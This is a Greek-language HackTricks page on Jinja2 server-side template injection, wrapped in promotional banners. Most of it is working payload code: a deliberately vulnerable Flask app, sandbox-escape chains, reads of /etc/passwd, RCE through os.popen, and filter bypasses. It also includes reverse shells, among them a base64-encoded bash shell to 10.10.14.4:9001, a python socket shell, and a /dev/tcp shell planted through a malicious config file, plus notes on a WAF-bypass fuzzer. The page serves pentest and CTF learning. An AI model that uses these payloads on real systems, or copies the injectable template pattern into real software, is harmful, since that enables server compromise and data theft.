# Jinja2 SSTI
Μάθετε την κακόβουλη εισβολή στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)! Άλλοι τρόποι υποστήριξης του HackTricks: * Αν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Μοιραστείτε τα κόλπα σας στην κακόβουλη εισβολή υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
## **Εργαστήριο** ```python from flask import Flask, request, render_template_string app = Flask(__name__) @app.route("/") def home(): if request.args.get('c'): return render_template_string(request.args.get('c')) else: return "Hello, send someting inside the param 'c'!" if __name__ == "__main__": app.run() ``` ## **Διάφορα** ### **Δήλωση Αποσφαλμάτωσης** Εάν η Επέκταση Αποσφαλμάτωσης είναι ενεργοποιημένη, ένα ετικέτα `debug` θα είναι διαθέσιμο για να εκτυπώσει το τρέχον πλαίσιο καθώς και τα διαθέσιμα φίλτρα και τεστ. Αυτό είναι χρήσιμο για να δείτε τι είναι διαθέσιμο για χρήση στο πρότυπο χωρίς την ανάγκη να ρυθμίσετε έναν αποσφαλματωτή. ```python

{% raw %}
{% debug %}
{% endraw %}




``` ### **Αδειάστε όλες τις μεταβλητές διαμόρφωσης** Πηγή: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement) ```python {{ config }} #In these object you can find all the configured env variables {% raw %} {% for key, value in config.items() %}
{{ key|e }}
{{ value|e }}
{% endfor %} {% endraw %} ``` ## **Ενσωμάτωση Jinja** Καταρχάς, σε μια ενσωμάτωση Jinja χρειάζεται να **βρείτε έναν τρόπο να δραπετεύσετε από τον αμμόλοφο** και να ανακτήσετε πρόσβαση στην κανονική ροή εκτέλεσης της Python. Για να το κάνετε αυτό, πρέπει να **καταχραστείτε αντικείμενα** που είναι **από** το **περιβάλλον χωρίς αμμόλοφο, αλλά είναι προσβάσιμα από τον αμμόλοφο**. ### Πρόσβαση σε Καθολικά Αντικείμενα Για παράδειγμα, στον κώδικα `render_template("hello.html", username=username, email=email)` τα αντικείμενα username και email **προέρχονται από το περιβάλλον Python χωρίς αμμόλοφο** και θα είναι **προσβάσιμα** μέσα στο **περιβάλλον με αμμόλοφο**.\ Επιπλέον, υπάρχουν άλλα αντικείμενα που θα είναι **πάντα προσβάσιμα από το περιβάλλον με αμμόλοφο**, αυτά είναι: ``` [] '' () dict config request ``` ### Ανάκτηση του \ Στη συνέχεια, από αυτά τα αντικείμενα πρέπει να φτάσουμε στην κλάση: **``** προκειμένου να προσπαθήσουμε να **ανακτήσουμε** τις **ορισμένες κλάσεις**. Αυτό συμβαίνει επειδή από αυτό το αντικείμενο μπορούμε να καλέσουμε τη μέθοδο **`__subclasses__`** και να **έχουμε πρόσβαση σε όλες τις κλάσεις από το μη-αμμοδιοποιημένο** περιβάλλον python. Για να έχετε πρόσβαση σε αυτήν την **κλάση αντικειμένου**, πρέπει να **έχετε πρόσβαση σε ένα αντικείμενο κλάσης** και στη συνέχεια να έχετε πρόσβαση είτε στο **`__base__`**, **`__mro__()[-1]`** ή `.`**`mro()[-1]`**. Και στη συνέχεια, **μετά** την επίτευξη αυτής της **κλάσης αντικειμένου** καλούμε **`__subclasses__()`**. Ελέγξτε αυτά τα παραδείγματα: ```python # To access a class object [].__class__ ''.__class__ ()["__class__"] # You can also access attributes like this request["__class__"] config.__class__ dict #It's already a class # From a class to access the class "object". ## "dict" used as example from the previous list: dict.__base__ dict["__base__"] dict.mro()[-1] dict.__mro__[-1] (dict|attr("__mro__"))[-1] (dict|attr("\x5f\x5fmro\x5f\x5f"))[-1] # From the "object" class call __subclasses__() {{ dict.__base__.__subclasses__() }} {{ dict.mro()[-1].__subclasses__() }} {{ (dict.mro()[-1]|attr("\x5f\x5fsubclasses\x5f\x5f"))() }} {% raw %} {% with a = dict.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} # Other examples using these ways {{ ().__class__.__base__.__subclasses__() }} {{ [].__class__.__mro__[-1].__subclasses__() }} {{ ((""|attr("__class__")|attr("__mro__"))[-1]|attr("__subclasses__"))() }} {{ request.__class__.mro()[-1].__subclasses__() }} {% with a = config.__class__.mro()[-1].__subclasses__() %} {{ a }} {% endwith %} {% endraw %} # Not sure if this will work, but I saw it somewhere {{ [].class.base.subclasses() }} {{ ''.class.mro()[1].subclasses() }} ``` ### Αποδραστική RCE **Έχοντας ανακτήσει** `` και καλέσει το `__subclasses__` μπορούμε τώρα να χρησιμοποιήσουμε αυτές τις κλάσεις για να διαβάσουμε και να γράψουμε αρχεία και να εκτελέσουμε κώδικα. Η κλήση στο `__subclasses__` μας έχει δώσει την ευκαιρία να **έχουμε πρόσβαση σε εκατοντάδες νέες λειτουργίες**, θα είμαστε ικανοποιημένοι απλά με την πρόσβαση στη **κλάση αρχείου** για να **διαβάσουμε/γράψουμε αρχεία** ή οποιαδήποτε κλάση με πρόσβαση σε μια κλάση που **επιτρέπει την εκτέλεση εντολών** (όπως η `os`). **Ανάγνωση/Εγγραφή απομακρυσμένου αρχείου** ```python # ''.__class__.__mro__[1].__subclasses__()[40] = File class {{ ''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() }} {{ ''.__class__.__mro__[1].__subclasses__()[40]('/var/www/html/myflaskapp/hello.txt', 'w').write('Hello here !') }} ``` **RCE** ```python # The class 396 is the class {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} # Without '{{' and '}}'
a
# Calling os.popen without guessing the index of the class {% raw %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ## Passing the cmd line in a GET param {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} {% endraw %} ## Passing the cmd line ?cmd=id, Without " and ' {{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }} ``` Για να μάθετε για **περισσότερα classes** που μπορείτε να χρησιμοποιήσετε για **απόδραση**, μπορείτε να **ελέγξετε**: {% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} [bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/) {% endcontent-ref %} ### Παρακάμψεις φίλτρων #### Συνηθισμένες παρακάμψεις Αυτές οι παρακάμψεις θα μας επιτρέψουν να **έχουμε πρόσβαση** στα **χαρακτηριστικά** των αντικειμένων **χωρίς να χρησιμοποιούμε ορισμένους χαρακτήρες**.\ Έχουμε ήδη δει μερικές από αυτές τις παρακάμψεις στα παραδείγματα του προηγούμενου, αλλά ας τις περιλάβουμε εδώ: ```bash # Without quotes, _, [, ] ## Basic ones request.__class__ request["__class__"] request['\x5f\x5fclass\x5f\x5f'] request|attr("__class__") request|attr(["_"*2, "class", "_"*2]|join) # Join trick ## Using request object options request|attr(request.headers.c) #Send a header like "c: __class__" (any trick using get params can be used with headers also) request|attr(request.args.c) #Send a param like "?c=__class__ request|attr(request.query_string[2:16].decode() #Send a param like "?c=__class__ request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join) # Join list to string http://localhost:5000/?c={{request|attr(request.args.f|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&f=%s%sclass%s%s&a=_ #Formatting the string from get params ## Lists without "[" and "]" http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_ # Using with {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("echo -n YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzkwMDEgMD4mMQ== | base64 -d | bash")["read"]() %} a {% endwith %} {% endraw %} ``` * [**Επιστρέψτε εδώ για περισσότερες επιλογές πρόσβασης σε ένα παγκόσμιο αντικείμενο**](jinja2-ssti.md#accessing-global-objects) * [**Επιστρέψτε εδώ για περισσότερες επιλογές πρόσβασης στην κλάση αντικειμένου**](jinja2-ssti.md#recovering-less-than-class-object-greater-than) * [**Διαβάστε αυτό για να λάβετε RCE χωρίς την κλάση αντικειμένου**](jinja2-ssti.md#jinja-injection-without-less-than-class-object-greater-than) **Αποφυγή κωδικοποίησης HTML** Από προεπιλογή, το Flask κωδικοποιεί όλα τα μέσα σε ένα πρότυπο για λόγους ασφαλείας: ```python {{''}} #will be <script>alert(1);</script> ``` **Το φίλτρο `safe`** μας επιτρέπει να ενσωματώσουμε κώδικα JavaScript και HTML στη σελίδα **χωρίς** να γίνει **κωδικοποίηση HTML**, όπως εδώ: ```python {{''|safe}} #will be ``` **RCE με τον εγγραφή κακόβουλου αρχείου ρύθμισης.** ```python # evil config {{ ''.__class__.__mro__[1].__subclasses__()[40]('/tmp/evilconfig.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }} # load the evil config {{ config.from_pyfile('/tmp/evilconfig.cfg') }} # connect to evil host {{ config['RUNCMD']('/bin/bash -c "/bin/bash -i >& /dev/tcp/x.x.x.x/8000 0>&1"',shell=True) }} ``` ## Χωρίς αρκετούς χαρακτήρες Χωρίς **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`** ```python {% raw %} {%with a=request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls${IFS}-l')|attr('read')()%}{%print(a)%}{%endwith%} {% endraw %} ``` ## Jinja Ενσωμάτωση χωρίς **\** Από τα [**παγκόσμια αντικείμενα**](jinja2-ssti.md#accessing-global-objects) υπάρχει άλλος τρόπος να φτάσετε σε **RCE χωρίς να χρησιμοποιήσετε αυτή την κλάση.**\ Αν καταφέρετε να φτάσετε σε οποιαδήποτε **συνάρτηση** από αυτά τα παγκόσμια αντικείμενα, θα μπορείτε να έχετε πρόσβαση στο **`__globals__.__builtins__`** και από εκεί το **RCE** είναι πολύ **απλό**. Μπορείτε να **βρείτε συναρτήσεις** από τα αντικείμενα **`request`**, **`config`** και οποιοδήποτε **άλλο** ενδιαφέρον **παγκόσμιο αντικείμενο** στο οποίο έχετε πρόσβαση με: ```bash {{ request.__class__.__dict__ }} - application - _load_form_data - on_json_loading_failed {{ config.__class__.__dict__ }} - __init__ - from_envvar - from_pyfile - from_object - from_file - from_json - from_mapping - get_namespace - __repr__ # You can iterate through children objects to find more ``` Αφού βρείτε μερικές λειτουργίες, μπορείτε να ανακτήσετε τα builtins με: ```python # Read file {{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }} # RCE {{ config.__class__.from_envvar.__globals__.__builtins__.__import__("os").popen("ls").read() }} {{ config.__class__.from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {{ (config|attr("__class__")).from_envvar["__globals__"]["__builtins__"]["__import__"]("os").popen("ls").read() }} {% raw %} {% with a = request["application"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]["\x5f\x5fimport\x5f\x5f"]("os")["popen"]("ls")["read"]() %} {{ a }} {% endwith %} {% endraw %} ## Extra ## The global from config have a access to a function called import_string ## with this function you don't need to access the builtins {{ config.__class__.from_envvar.__globals__.import_string("os").popen("ls").read() }} # All the bypasses seen in the previous sections are also valid ``` ### Διαπερατότητα WAF με Fuzzing **Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) είναι ένα εργαλείο που είναι εξειδικευμένο στα CTFs αλλά μπορεί επίσης να είναι χρήσιμο για την ανίχνευση μη έγκυρων παραμέτρων σε ένα πραγματικό σενάριο. Το εργαλείο απλώς ψεκάζει λέξεις και ερωτήματα για την ανίχνευση φίλτρων, αναζητώντας παρακάμψεις, και παρέχει επίσης ένα διαδραστικό κονσόλα. ``` webui: As the name suggests, web UI Default port 11451 scan: scan the entire website Extract all forms from the website based on the form element and attack them After the scan is successful, a simulated terminal will be provided or the given command will be executed. Example:python -m fenjing scan --url 'http://xxx/' crack: Attack a specific form You need to specify the form's url, action (GET or POST) and all fields (such as 'name') After a successful attack, a simulated terminal will also be provided or a given command will be executed. Example:python -m fenjing crack --url 'http://xxx/' --method GET --inputs name crack-path: attack a specific path Attack http://xxx.xxx/hello/the vulnerabilities that exist in a certain path (such as The parameters are roughly the same as crack, but you only need to provide the corresponding path Example:python -m fenjing crack-path --url 'http://xxx/hello/' crack-request: Read a request file for attack Read the request in the file, PAYLOADreplace it with the actual payload and submit it The request will be urlencoded by default according to the HTTP format, which can be --urlencode-payload 0turned off. ``` ## Αναφορές * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2) * Ελέγξτε [το κόλπο attr για να παρακάμψετε μαύρες λέξεις σε αυτό το σημείο](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3). * [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113) * [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
Μάθετε το χάκινγκ AWS από το μηδέν έως τον ήρωα με htARTE (HackTricks AWS Red Team Expert)! Άλλοι τρόποι υποστήριξης του HackTricks: * Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)! * Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family) * **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του GitHub.